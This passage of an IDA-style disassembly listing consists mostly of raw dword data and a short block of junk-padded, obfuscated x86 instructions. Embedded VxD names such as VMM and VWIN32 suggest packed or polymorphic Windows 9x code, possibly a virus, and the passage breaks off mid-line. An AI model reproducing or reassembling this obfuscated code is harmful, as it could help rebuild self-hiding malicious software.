5A200000h dd 54895AC3h, 44810424h, 160424h, 52420000h, 0CCCF7AC3h dd 5E18589h, 8F640622h, 5, 50006A00h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1404h, 0C3504000h, 0FDB58984h dd 83062219h, 6A04C4h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 1C0424h, 56460000h, 0AFB719C3h, 64BE4DFEh, 0F605E16h dd 686h, 85B58B00h, 8B062224h, 2233B58Dh, 0E9616106h, 83h dd 56525153h, 245C8B57h, 3B81661Ch, 850F5A4Dh, 68h, 3C43B70Fh dd 8166D803h, 0F45503Bh, 5785h, 785B8B00h, 1C245C03h, 324738Bh dd 561C2474h, 8B207B8Bh, 7C031C73h, 74032024h, 83FC2024h dd 8B41FFC9h, 8B1C245Ch, 24540317h, 4C78320h, 0C084028Ah dd 33A0874h, 4243E875h, 33AF2EBh, 0D15FE075h, 4B70FE1h dd 86048B0Fh, 1C244403h, 595A5E5Fh, 8C25Bh, 0F1E9C033h dd 8BFFFFFFh, 0DE8CAh, 0F4440000h, 3722DA0Ch, 5AFA2841h dd 0E9CBFDD1h, 0Dh, 416102F9h, 7B4BB4B2h, 0AB3B3636h, 7E95A95h dd 0F0000000h, 5BEFC63h, 0C2810232h, 709Ch, 6810Fh, 0EB810000h dd 30EFAF72h, 1BF2B8h, 0E832FF00h, 14h, 52528905h, 5DFB828Dh dd 250FEFBFh, 0E7B35885h, 0FC3E0204h, 5E9h, 399CC100h dd 5F59EC04h, 9861C781h, 0B70F51C7h, 17C781CBh, 0BE6CA3ABh dd 6536BE27h, 5C42F781h, 840F0C36h, 2, 60572FB7h, 68A0Fh dd 800F0000h, 0 dd 61CF8B66h, 81FC028Fh, 1EB148EAh, 0C281F80Ah, 0A1EB144h dd 22EB8166h, 850F48E0h, 0FFFFFF89h, 13E852h, 10000000h dd 98CEEF98h, 0A156284Dh, 0D55993B6h, 0D9AB5F83h, 56D3806Fh dd 5E85959h, 0D5000000h, 0CF16A764h, 0CE96060h, 0C2000000h dd 7E1644h, 0CEEF9810h, 61284D98h, 5A61F18Bh, 0E11C07B8h dd 0DC2812Fh, 6600006Eh, 0BF0313BBh, 6EC7ACA7h, 0B7FCF781h dd 830F6EC7h, 3, 8BBAE480h, 0CE8B6032h, 67D88166h, 0EE816185h dd 5F05B2Bh, 51EE81FCh, 6675FC8Bh, 0EE81DF8Bh, 64C2BE32h dd 7399BB66h, 0D1813289h, 59F058B6h, 0F502EA83h, 13E84A4Ah dd 0E3000000h, 0F2896510h, 0DECCF514h, 51588380h, 841E9FA1h dd 0F605005h, 84h, 66E2BA00h, 59615B29h, 0F01EF83h, 0FFFF9E85h dd 0D8B70FFFh, 464934EBh, 52474D53h, 4B562020h, 20202044h dd 4D562020h, 2020204Dh, 57562020h, 32334E49h, 58562020h dd 52444C44h, 2020h, 2 dup(0) dd 0E8E90000h, 0F000007h, 189h, 6A60F500h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1C042444h, 46000000h, 7E77C356h dd 79C79277h, 0F92928E6h, 98D285C7h, 625h, 12E90000h, 72000000h dd 8F413401h, 27D83014h, 4E04335Dh, 2C82E4B0h, 6AC68BFFh dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 15042444h dd 47000000h, 884CC357h, 0BE9h, 4F3A0500h, 734561DEh, 99303BE5h dd 0E9D8B70Fh, 0Ch, 0D02C8DACh, 54DE782Eh, 3404C1E8h, 0F510E8C1h dd 8C8C166h, 10E960h, 22DC0000h, 54A250D9h, 5609131Ch dd 0E1CC190h, 8BAB801h, 617DB4C6h, 0D68589F8h, 6A062598h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 16042444h dd 47000000h, 988DC357h, 0CBC166C2h, 0FB83FC08h, 6E850F40h dd 0E9000000h, 10h, 0C9D9AD8Ch, 70903F96h, 0C6D9A02Fh dd 58729AFDh, 98AABD8Dh, 6A0625h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1D0424h, 53430000h, 988340C3h, 0EF3AA5E8h dd 60ACC090h, 5880Fh, 0D9BA0000h, 61117D5Fh, 1FFE9h, 5E96000h dd 91000000h, 0EA9C7C22h, 38F0Fh, 0B70F0000h, 890F61D7h dd 1, 0DFB83F8h, 45850Fh, 0E8600000h, 7, 35B36630h, 8B77F967h dd 8D6159C1h, 2598B2BDh, 50006A06h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1904h, 0C3504000h, 40FC2DCBh, 0E9F93096h dd 19Ch, 18C0Fh, 83F90000h, 850F01FBh, 59h, 7E960h, 6D550000h dd 0E40734AFh, 0BD8D61BBh, 62598BAh, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 16h, 0DDC35343h, 55E927C1h, 6A000001h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1A042444h dd 41000000h, 513C351h, 77FE1935h, 2AFB8312h, 0A1850Fh dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h dd 57470000h, 7DB03DC3h, 49C5BD02h, 890F6039h, 0Ch, 7E9h dd 0E6616100h, 2B12D040h, 0CE9h, 9007B000h, 82846DE8h dd 0F0735A8Ch, 0BD8D613Ah, 62598C2h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Dh, 9DC35646h, 0BC32E7C1h, 104C3994h dd 0BB6660F4h, 0C380BC10h, 516061B3h, 15A4BE66h, 9E95Eh dd 25F0000h, 0FEFC23D7h, 61D3D87Ch, 93E9h, 0B70F6000h dd 3CDDB9C1h, 836121A1h, 850F27FBh, 358h, 0E852006Ah, 3 dd 5AC35A20h, 4245489h, 4244481h, 19h, 14C35242h, 4CDB0E16h dd 0C820F3Ah, 0F000000h, 68Ah, 850F00h, 8D000000h, 2598CABDh dd 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1D04h dd 0C3534300h, 4FB2CACEh, 376D6E6h, 850F8DC1h, 1Ch, 168F0Fh dd 11E90000h, 0A0000000h, 2B5C64ACh, 9FDFB996h, 3155BE4Ch dd 7FC03920h, 98DABD89h, 6A0625h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 160424h, 52420000h, 606FE1C3h, 0E850Fh, 9E90000h dd 0C1000000h, 0C93FB78h, 0F56A74ABh, 0C88C66F8h, 7E9h dd 8FBABF00h, 0D5BAED77h, 6A0324h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 160424h, 56460000h, 98090DC3h, 0E830Fh, 0F600000h dd 83h, 8D0F00h, 61000000h, 0FC00AF8h, 1BC85h, 56006A00h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1704h, 0C3564600h dd 8F9992A9h, 18880Fh, 0E8600000h, 0Eh, 0DACB5E37h, 0AEDF0297h dd 2599E87Ch, 8A5A4F2Fh, 0B58D61CEh, 6259F44h, 20858BF9h dd 0F0625A0h, 18Ah, 0F92FC00h, 0D8Bh, 8E900h, 0C9A10000h dd 0B302634Eh, 60506111h, 0E8C68B66h, 9, 19E4DD47h, 837732Fh dd 5B616014h, 6A9261h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 1A0424h, 56460000h, 7D8DAFC3h, 19F0E81Dh, 0EE9h, 0B7A84200h dd 0E34551F4h, 6A1698F1h, 0F720E4Fh, 0FE244C01h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 17h, 0F9C35040h, 5ABACE61h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 0D6C35343h dd 0E90AD733h, 7, 38562198h, 83BA04DFh, 8E0F24C2h, 8, 28D0Fh dd 61600000h, 0FC728966h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 14h, 0AFC35545h, 18C0Fh, 0C1F90000h, 6A10CEh dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h, 52420000h dd 830F65C3h, 1, 728966FCh, 51006A02h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1D04h, 0C3514100h, 97A0CDE9h dd 76EA3EC8h, 8160962Fh, 785A2ADAh, 4CD615Dh, 6E9h, 0C6DE9A00h dd 0F8B248E4h, 8BE9h, 12860F00h, 0E9000000h, 0Dh, 0A939AB7Fh dd 3CF73102h, 0EF1687B8h, 20858B7Ch, 600625A0h, 8E9F8h dd 9AD70000h, 1913ECE4h, 8D61DD7Ch, 259F44B5h, 9E906h dd 0EA860000h, 0F9EC0A6Eh, 8D6157FEh, 25574585h, 51006A06h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1804h, 0C3514100h dd 38751BA3h, 12E9F4h, 0FCDC0000h, 0D6047B61h, 0DEE026F4h dd 3E1EF9CCh, 0C6FE86E0h, 6660D0FFh, 5DBAD78Bh, 617DDBC3h dd 98D28589h, 6A0625h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 150424h, 52420000h, 0FC4FEAC3h, 0E870F61h, 60000000h dd 6E8h, 11598700h, 5B52E8AFh, 0D2858B61h, 0E9062598h dd 10h, 0EA44667Bh, 2C520B74h, 10ACEC2Fh, 155F2D94h, 19850FC3h dd 0F000000h, 1380h, 0EE900h, 0BDC60000h, 0B830B4E1h, 2739115Bh dd 684C1124h, 51006A60h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1A04h, 0C3514100h, 7CA6533h, 834C7EAAh, 25A020BDh, 850F0006h dd 70h, 2085C7FCh, 3F0625A0h, 6A000101h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 15042444h, 46000000h, 9AEBC356h dd 0C53CBE60h, 10E81F8Bh, 0D1000000h, 4C0E010Ch, 25392F7Fh dd 7F08288Fh, 0BE94CC8Bh, 5D8E32AFh, 0E860615Fh, 12h, 2CE1C5E5h dd 0FAF8EE4h, 8B2BDFE5h, 2244DEE8h, 5E97F71h, 0FB000000h dd 0DD61067Bh, 61D68B5Fh, 35E9h, 57006A00h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1604h, 0C3574700h, 0F55748EFh dd 11E9h, 0AD0ED000h, 2132AAB3h, 780E3568h, 0A1759A3Eh dd 20CDE31Bh, 0 dd 3774C00Bh, 8B0C708Dh, 2598DABDh, 8B906h, 75A60000h dd 0FA754922h, 8B30488Bh, 2598D69Dh, 34583B06h, 0D38B157Fh dd 304D26Bh, 89018BCAh, 2598D285h, 8B04EB06h, 61C5EB00h dd 98D2858Bh, 6ACF0625h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 1A042444h, 41000000h, 0B063C351h, 75FE2723h dd 10E92Dh, 0E1CB0000h, 8F94FA7Ah, 0A2E62321h, 0D5BD121Ah dd 6060434Fh, 5E9h, 19AC6300h, 800FF5A7h, 0 dd 14E961h, 46BE0000h, 4C0FA015h, 9BE3278Eh, 742E94FBh dd 296855AFh, 8B6160D2h, 34E9C0h, 67900000h, 5F4Dh, 0Bh dup(0) dd 7BE90000h, 7C000005h, 0D2DF3611h, 4E739AA9h, 0A6EB0241h dd 100168D3h, 0B0B6D16Eh, 281767B0h, 9DAAD0C1h, 3B4D72h dd 6BD4B8E9h, 0EC80D900h, 411F9ADCh, 77859D31h, 0C4E93A05h dd 4FFC83BAh, 0EA92DF1Eh, 0CAF71E51h, 75479C2h, 5499CA75h dd 943EA227h, 2FD485B6h, 20C9BFECh, 27206CC8h, 8AB5C3CCh dd 0E15E206Dh, 202371BCh, 0B3AEDAD7h, 3A66D1F9h, 36694447h dd 84C3C8E5h, 0A6D21F45h, 5723489Dh, 79AA99E6h, 62AAFB3Ah dd 869379FFh, 0EA174DF6h, 454AA59Eh, 0DDF0C37h, 473A66FAh dd 41484554h, 0FCB0D506h, 473A66ACh, 0F52B6A41h, 0A8A5EC0Ch dd 0D51F37Eh, 77h, 3A057715h, 3B0D5BE9h, 5EA3473Ah, 0DB7AF71Ah dd 869351F3h, 0FB184DF6h, 3A371921h, 7EB1FC47h, 0BE322h dd 0B1960000h, 3A37AFFBh, 356B4247h, 47047799h, 1B2FFD22h dd 0FE473A3Bh, 174461BFh, 5D82E764h, 0C81D2A50h, 3BAFFBADh dd 6B42473Ah, 3B4A9E0Eh, 0CAF473Ah, 1178B5D0h, 0E673E536h dd 6AD9A282h, 0D56E1E03h, 0A4785DBAh, 473A3B94h, 0F34C3C79h dd 5FD06CB0h, 0CE16CE6h, 529F7EA9h, 0AECD1E2Dh, 0F6473772h dd 0CBA1C685h, 473A33BFh, 0CB185B52h, 2576D5A6h, 0EB909D02h dd 0BF39005Ch, 0C32A1965h, 4095AEDEh, 82E7642Bh, 2E7808C1h dd 6DB37601h, 0EF09F058h, 0F35BB5D8h, 7A2051h, 5FEE0000h dd 0CC612CE6h, 0D633E8C5h, 3A4A3246h, 88D4E747h, 0FD2E1D61h dd 0D7ECFB0h, 0A3F04F30h, 0DD0E4180h, 8AAACE2Bh, 0F8434904h dd 3E4988ABh, 6DBE8DF1h, 0DD0E3940h, 5F72F673h, 51F36932h dd 53A7h, 7776F00h, 86084536h, 165586B9h, 4489B6D9h, 5C81E619h dd 3B95A577h, 3578473Ah, 3A3B5763h, 0ADF3BA47h, 0A0255398h dd 0EB40F834h, 0E1327548h, 181C5CD1h, 0E4BEC976h, 16470477h dd 6FD8A4F1h, 3B449731h, 3EE473Ah, 0DBAFA2E5h, 10A51F3h dd 10000000h, 0EA3B0877h, 0FD82B7C5h, 9FDE1D4Eh, 0E158214Eh dd 386DAC97h, 6EBF8CF3h, 84AACE4Bh, 34E8CDACh, 473A3BE4h dd 0C0E88409h, 35473A3Bh, 10194786h, 9D0F74D8h, 473A3B4Dh dd 0AAD70DA0h, 74ADDCE5h, 0FA25BC41h, 0CC4586DDh, 0D60948B5h dd 59A65DBFh, 81B6C00h, 0B9F44918h, 0A354794h, 75CEBEE3h dd 68469420h, 335B4118h, 911EC714h, 877FD929h, 51EC92DFh dd 0A1CC112Eh, 7DFA3D6Eh, 0AE737FBh, 474636EEh, 0B13C08FAh dd 7F8B61C6h, 9241186Ah, 4E99D81Bh, 0E7003B41h, 3566E5AAh dd 65B691F8h, 8CD90746h, 0F1221D6Fh, 0E53FB9B6h, 0C6128A97h dd 2B41186Ah, 6AA2F6A6h, 64574118h, 8885E225h, 7CD8FC01h dd 91873754h, 3DC1025Eh, 4BD1CD40h, 17895h, 525FBD00h dd 0E3601D26h, 0BCCA9729h, 73606AB6h, 0E251CB2Ch, 0B49186Fh dd 4C227626h, 0E4D74118h, 0F92A81B8h, 0ECC5C8B4h, 4B8FD213h dd 6E53BAFDh, 0BBF0251Eh, 22576D1h, 0D4E4B89Dh, 394118EDh dd 0A5C32E72h, 2B42FD8Fh, 0E884E9CEh, 4118EDC0h, 82D68635h dd 774118EDh, 413C1844h, 944BD106h, 4Ch, 61A85882h, 6CA49408h dd 22891173h, 85C2C8C5h, 0BECF1550h, 102F5C59h, 62E1AEC3h dd 6DB3F231h, 3A3B8FDBh, 3048B1C7h, 0B9DE25DBh, 736C37E3h dd 78931A91h, 56623A1Fh, 4B473A3Bh, 703D023Dh, 0CEED3E09h dd 0CAFA518Fh, 28000000h, 364AB58h, 3B3A4EDEh, 0DCDF473Ah dd 2F6C5180h, 0ECBEE25Dh, 49183D5Bh, 0AFD4F9B4h, 4EDE8ED6h dd 8517B1C3h, 41188775h, 8ED21598h, 0D4941963h, 9FC20853h dd 2F7CC7B2h, 638ACD0Ch, 94F54E3Eh, 0F6929C33h, 0E1AE7182h dd 0B3F23162h, 858C586Dh, 66411842h, 0B7E42912h, 0D4A23DC4h dd 466F4888h, 3722D607h, 2C297DB1h, 0C30555C7h, 60AC4118h dd 0F939ACB7h, 55B52EFh, 1478BC3Ch, 50CC5925h, 4118BA08h dd 4C8FCEEDh, 0D320D325h, 1A00E6B6h, 0A2094F3Fh, 0D1503C71h dd 72190F5Bh, 88CBE24Bh, 0E800F15Bh, 44997063h, 2144A222h dd 92D57218h, 0C4D13653h, 6D2A35B8h, 0DDEBB370h, 0F62A499Ah dd 55EDD654h, 99F0BB45h, 64AB583Dh, 9B936903h, 3786491Dh dd 5EC3C9E6h, 1F9ABACEh, 1D5C5F41h, 0E4A8E5F2h, 0B5EB0A5Bh dd 2247008Ch, 0E797A6D5h, 0A9E80B58h, 0C21B3964h, 39068885h dd 0F18BC914h, 0E9C7DBC4h, 3FF573FEh, 969BF24Dh, 0E3085DE6h dd 3378AD96h, 84A9FA45h, 691F4CFBh, 6AC26880h, 0D9A381E7h dd 0FE2F1860h, 4157CBFh, 7BC1E543h, 0C5E0350Eh, 0BE3F2038h dd 0B0354762h, 0E13828DCh, 4D327F8Eh, 4F8EADFEh, 3031Eh dd 0CBF30000h, 3D067773h, 8EB9C3E8h, 0DF68105Dh, 2A19618Eh dd 7DCAB4F9h, 0CC7B0328h, 1C27529Fh, 6EDDA2CFh, 0BC8BF03Dh db 6Fh, 69h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], edi sub esp, 4 mov [esp], edi push edi mov edi, esp add edi, 4 sub edi, 4 xchg edi, [esp] pop esp mov [esp], ecx push 625A10Bh mov edi, [esp] add esp, 4 push esp mov ecx, [esp] add esp, 4 push esi push edi pop esi mov [ecx+8], esi pop esi mov ecx, [esp] push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp mov edi, [esp] push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp jmp loc_502B27 ; --------------------------------------------------------------------------- dw 0A163h dword_534EC8 dd 12B82879h, 30625A6h, 23E0FFC5h, 0A57D9580h, 831BED67h dd 0EF31018Bh, 0C3166D0Dh, 565C4565h, 9A0BA9F4h, 9D1BAFE1h dd 0E062DD5Ah, 2F1FA410h, 0D026D6F6h, 0EB5B7DB6h, 0B1643142h dd 2F2E32ABh, 5B09CE83h, 0CE1C2F3Dh, 4C5A58A4h, 0BF37D2AFh dd 0C428AB22h, 6F3D7ED2h, 0D33DB6Ah, 8C69222Bh, 0AF2A62CCh dd 0BD3ECFF2h, 1048B65Bh, 0BF1FA740h, 784F92D6h, 0E919F16Eh dd 148h, 50h, 54h, 58h, 5Ch, 60h, 64h, 68h, 6Ch, 0B0h dd 0B4h, 0B8h, 0BCh, 0C0h, 0C4h, 0C8h, 0CCh, 0D0h, 0D4h dd 0D8h, 0DCh, 0E0h, 0E4h, 0E8h, 0ECh, 38h dup(0) dd offset dword_534EC8+0DCh dd 9C50EBh, 0A700858Dh, 10E90625h, 0E1000000h, 415BC8AAh dd 0AE3C4DE4h, 8AF5A263h, 89C52210h, 25A84085h, 0C6CA8B06h dd 22330985h, 0D5B75406h, 4E8h, 62682900h, 0D2BB66EEh dd 870F5054h, 18h, 11E957h, 59AD0000h, 349D069Fh, 11FF97BDh dd 864EE295h, 5E1881CCh, 424448Bh, 0BA66008Bh, 4489FA7Eh dd 81580424h, 7D78DCCBh, 49B5FF5Eh, 80062226h, 858D42CBh dd 6257DBEh, 28B18509h, 10E90622h, 3F000000h, 0A93E792Fh dd 0F1068BE9h, 2D24C345h, 0FF3E74AFh, 659D09D0h, 89062200h dd 25A84485h, 9E906h, 8AC0000h, 2A0B0CF3h, 8980C98Bh, 22040DB5h dd 54E906h, 860F0000h, 3, 56CF8B66h, 0A840B58Bh, 6890625h dd 0A8408583h, 5E040625h, 0B58D60C3h, 625A700h, 6A560FEBh dd 0FF36FF00h, 25A84495h, 0C6835E06h, 3E8304h, 0C361EC75h dd 5800Fh, 81660000h, 5720C0EEh, 68C18166h, 0BE665976h dd 0B96677CEh, 858D217Eh, 625A921h, 0B1F191BFh, 0B5858942h dd 0E8062207h, 5, 0D3D39824h, 0C8C0FFCh, 0F000000h, 689h dd 880F00h, 5F000000h, 81F08B66h, 69C8C7h, 0D1B58B00h dd 68062225h, 1A38h, 59D18B66h, 10E9h, 2A894D00h, 0D736DD1h dd 3F244548h, 0B19E241Eh, 0E937FF64h, 0Fh, 0F966C6C0h dd 384B03A0h, 6E26CAFAh, 589F518Eh, 5B529h, 0C0810622h dd 9D727FCh, 178C0Fh, 0BE80000h, 0D8000000h, 0B39153BDh dd 718327EEh, 958BDB4Eh, 6220059h, 0C3E8815Ah, 0E8454B6Eh dd 11h, 0D57EE54Ch, 4B87382h, 0CB6827BDh, 48FAC6FCh, 0EDB58BF8h dd 5A06222Fh, 6FCDF081h, 958B75BDh, 62214E5h, 0F9B58B50h dd 8F062214h, 0D1B58907h, 83062228h, 666004EFh, 8B8FE8Bh dd 6166F5B1h, 1E981h, 850F0000h, 0FFFFFF69h, 0BE9h, 12BA5800h dd 0A0E171Dh, 3DB8A28Ch, 102E9h, 23C64A00h, 55C9754h, 0A188838Ah dd 0E0A1D76h, 538FDD7Ah, 2F6D3733h, 773D557Dh, 7DD57F2Dh dd 3D577DD7h, 75DF6DF7h, 7DD773D5h, 0EDF73D57h, 5375D55Fh dd 2F6D3733h, 773D557Dh, 7DD57F2Dh, 1E577DD7h, 75DF6D17h dd 60206020h, 0E0E02020h, 68AC2060h, 0E4A9F77Bh, 0B2D020A1h dd 0B7EDA693h, 0F291B99Dh, 6020ACA3h, 60206020h, 0E0E02020h dd 53752060h, 2F0D0A33h, 6020557Dh, 60206020h, 362BA728h dd 60C950F0h, 0A1EFB6F3h, 0B4E0F796h, 92B8E3A7h, 0E9B3F471h dd 60F76DB9h, 60206020h, 20206020h, 1ADF6DF7h, 7DD77335h dd 0EDF73D57h, 5375D55Fh, 2F6D3733h, 773D557Dh, 7DD57F2Dh dd 3D577DD7h, 75DF6DF7h, 7DD773D5h, 0EDF73D57h, 5375D55Fh dd 2F6D3733h, 0A1E357Dh, 3407000Eh, 0A0A3D25Dh, 1E59h dd 6 dup(0) dd 0E9000000h, 0C1Ah, 25AD8C68h, 0D771E906h, 6F68FFFCh dd 0E90625AEh, 0FFFCD767h, 25AF5F68h, 0D75DE906h, 2D68FFFCh dd 0E90625B0h, 0FFFCD753h, 25B0A568h, 0D749E906h, 4468FFFCh dd 0E90625B1h, 0FFFCD73Fh, 25B28968h, 0D735E906h, 6F68FFFCh dd 0E90625B3h, 0FFFCD72Bh, 25B42F68h, 0D721E906h, 0F368FFFCh dd 0E90625B4h, 0FFFCD717h, 25B5F868h, 0D70DE906h, 0DCA1FFFCh dd 74070863h, 0C73BCD7h, 9EEBD43Fh, 39454AA5h, 0E587E30Ah dd 0A65E2ACh, 0BFD67505h, 0D23D0672h, 4DA49FEDh, 1327F582h dd 6411F90h, 577D050h, 0AED0DD3Ah, 0E5FEC9Fh, 1663ACEFh dd 99D6F72Dh, 570152F1h, 0B6C65E9Ah, 6112628Dh, 1C27F512h dd 149183Bh, 483479AAh, 0E1AB94FFh, 0EBD03566h, 183BE931h dd 60A10C41h, 29F3211Eh, 41183B06h, 68E4040Dh, 0F1B5779Fh dd 0D5BC2AD6h, 0A688D92Ah, 48D8A5E4h, 1AE31C94h, 3A426FB5h dd 0D3B9E601h, 86F63B68h, 0C04968BDh, 61008CA8h, 189E7F8Bh dd 0D81B9241h, 36F06DB1h, 0EDC54BD1h, 4D000004h, 0E93A0577h dd 648FB8C4h, 0D7740613h, 6B9E6786h, 2EE18358h, 0B2A1ABE9h dd 289D14Bh, 416C473Ah, 3C33E90Eh, 0E149187Ah, 0BBCB99CAh dd 45411879h, 38355C9Ch, 9D4BD196h, 2Ch, 0DEAB5885h, 0C61ACB52h dd 465A487h, 9BA8D2DFh, 53B0A345h, 1E9D4918h, 26EF3FCDh dd 68114118h, 0BE84F910h, 0D6514BD1h, 0F9000000h, 1A29525Fh dd 76D1BBC6h, 0CF780411h, 0E4015F9Eh, 2B78C7B7h, 0ACCD7606h dd 0A4C826DBh, 3AEBA0C8h, 9D665547h, 2A76C09Eh, 95AEDE13h dd 0EB582774h, 684DAAB5h, 3AF264B4h, 68048947h, 473AF240h dd 99C706B5h, 3AF14CCFh, 0EE9C9947h, 0DC6B1051h, 9306C8Fh dd 6051B883h, 95F2231Ch, 754F398h, 0A55EB8E4h, 6863395Eh dd 0F549189Dh, 964DAFC6h, 0E37C3049h, 8C4F3C44h, 0C3CBC821h dd 20DD083Eh, 9ED1790Fh, 9444A77h, 38BC47Fh, 95D41744h dd 98F0FFE5h, 3C031CEFh, 93Fh, 5EA992FBh, 0F21D2A51h, 6A85C2CDh dd 80EB5425h, 3950EF9Fh, 98E62F31h, 2B5F40ABh, 0BCCCF51Ch dd 55276883h, 3F5883EAh, 1F965D6Dh, 0A1AB041h, 0D1380777h dd 48A39CE0h, 64AB58D2h, 0BD86F603h, 77044D68h, 4589BC8h dd 0DBA3F0D5h, 0A0FC3F6Ch, 1841D506h, 0EFBDE249h, 411831DBh dd 0E8217F3Eh, 0B0C490C5h, 4E411831h, 2F226583h, 8A4BD1D2h dd 0C5h, 3A057790h, 0ABBAC4E9h, 3A3BA9F1h, 2E614C47h, 38EC2FFDh dd 4839473Ah, 0F2EEB8DAh, 0B5FC20BCh, 2C157CC7h, 56B6E760h dd 0E431569Dh, 3B7AAB94h, 2F38F4E5h, 30491817h, 5102127Dh dd 5F37E502h, 0C24F3CCDh, 6CA98EEBh, 56C6231Ch, 4B7D2402h dd 5198C4F7h, 0E2F71E2Dh, 6A3F0C21h, 3468ED32h, 34C2810Dh dd 0EF987C26h, 5C1BE637h, 18000008h, 7EA3CA75h, 0EAD73E0Dh dd 424FA6A5h, 0BCE50C37h, 2C1A75D2h, 0CC7B034Ch, 310E7CA5h dd 0A49FE9D6h, 0F38444Dh, 801C7DE4h, 411F9578h, 5F29F99Dh dd 303D48E6h, 1844E39Ah, 799EADD1h, 0B0F14E3Ch, 0F2E7FC8h dd 0FB818ED1h, 0C3D02940h, 4CFB83B6h, 479DDC1Fh, 1C0577AFh dd 3A3B7880h, 0DF1E9D47h, 201B618Eh, 58AD7CC9h, 0C917345Bh dd 6A8FD48Fh, 182869B2h, 6B019649h, 4118085Fh, 0BD8AF5B2h dd 0CB0A4D68h, 941D61AEh, 0D47561Bh, 15295E1h, 4CDEBEE2h dd 96A38C16h, 87E02F24h, 0F2CA8A15h, 4946AB4Dh, 28F843h dd 0F54C373Eh, 2AF9AC6h, 598ACD76h, 9889FF3Ch, 373EF404h dd 5392194Ch, 5BBDE302h, 6E3E5BA8h, 4211EBECh, 2F1860ADh dd 147538F1h, 0A3CA7507h, 513B0E7Eh, 788A5F6h, 30C6F938h dd 0EAAD7018h, 6C151425h, 28000007h, 8EB3DA65h, 0FA274EFDh dd 525FB695h, 0CCF51C27h, 1C6A85C2h, 0DC6B135Ch, 41FE8CB5h dd 0B48FF926h, 1F28545Dh, 0B06C0DF4h, 411F9468h, 7759C98Dh dd 0EBE93A05h, 0DE4EABF8h, 491821B1h, 0F04B317Eh, 0E55C80A3h dd 0D04CB1D6h, 41181088h, 0F1124E6Dh, 4AAFF4EFh, 0A2279C65h dd 8E190A4Bh, 83568852h, 0E0CB4F3Fh, 39028A87h, 8E4C92Eh dd 4B7DF5E0h, 3F7AA615h, 0A3A1F24Dh, 83D745B0h, 764B7DF5h dd 0BEE30447h, 0D7300B71h, 7DF53545h, 8FD5D84Bh, 5A6FCEFDh dd 7C02AF45h, 1C5F9ECFh, 0D72D96FBh, 522135DFh, 61C713C5h dd 832A5557h, 8DFF3C5Dh, 26565BB2h, 0D78CC81Dh, 5EBD6F88h dd 0BF5B751Fh, 82C80AFCh, 415E350h, 69E05h, 8335A00h, 7CCBB0E1h dd 0E4632C15h, 4AF5848Dh, 0B390FE23h, 458E6E58h, 0BEE30A39h dd 2B147FCCh, 868BE25Dh, 3B224DF6h, 8BBACE5Eh, 0BB5F411Fh dd 64AB586Bh, 0A9D1DE03h, 1B24559Ah, 0D375ABCAh, 491DA1ECh dd 70BDDAD1h, 0D9D6330Ch, 254095B2h, 0E1AB94FFh, 0C3D03566h dd 1E5D8EB9h, 94DB88C2h, 8AAAB973h, 0FEBB4F3Dh, 4F6EBF8Ch dd 1CCE7A0Ch, 213EF98h, 6263Fh, 90ABD200h, 4434879h, 6CDBA4EDh dd 0D26D1C05h, 3B0876BBh, 0DD16D6D0h, 367B92B1h, 0A3EC0744h dd 1E036AD5h, 0B3BAD56Eh, 8B227626h, 3D7411Fh, 0DEAB58E3h dd 0F276DF76h, 0B8D110C8h, 1D71E2E4h, 0AA867F49h, 391012E7h dd 515EBBFAh, 0BAF7102Bh, 52075CEh, 18BB4DFh, 0FCF71546h dd 0BBBA150Dh, 65A40704h, 0B0236804h, 99144F3Bh, 79811B40h dd 9C4B7180h, 93ACD011h, 7D0F0C4Dh, 1666ABC2h, 0BDCFCC2Dh dd 0CE125182h, 59A65DBFh, 0FE6F6C00h, 0CDE04553h, 7221853Dh dd 7AC5D6E9h, 587h, 96F14A33h, 0A65E2A9h, 0A2CD7A05h, 0D8330C7Dh dd 7198A7D7h, 503E7779h, 0E39798F3h, 74040D64h, 0D7FA0CBh dd 4710DB32h, 1F8A85D5h, 42A26841h, 45340577h, 0F0ACA9FAh dd 473A3BA8h, 0EC2F6E4Dh, 310A72BFh, 0E00DC6D6h, 3A3BFC0Ch dd 5B9A1147h, 43816E3Eh, 414E4918h, 65DC003Bh, 27770556h dd 0D9411832h, 0BCB1D810h, 194BD1CEh, 32h, 64AB5801h, 41666903h dd 0E4D74918h, 31D1E5B7h, 0A22F4118h, 0D14E0346h, 0F46B4BD1h dd 0E000000h, 0A09FEC29h, 183DA8F0h, 1C604D41h, 70B3F223h dd 577902Ch, 24F8DD3Ah, 473A3B14h, 5F6EB2F9h, 23F96C12h dd 473A3B17h, 2370B3FAh, 0BDCB7E0Eh, 3BA0C8A4h, 6655473Ah dd 7AB7F627h, 0A0F5340Fh, 2146018Bh, 0F4EEB460h, 4F6EBF88h dd 1D2677B6h, 0B0C9CC7h, 0F4473A89h, 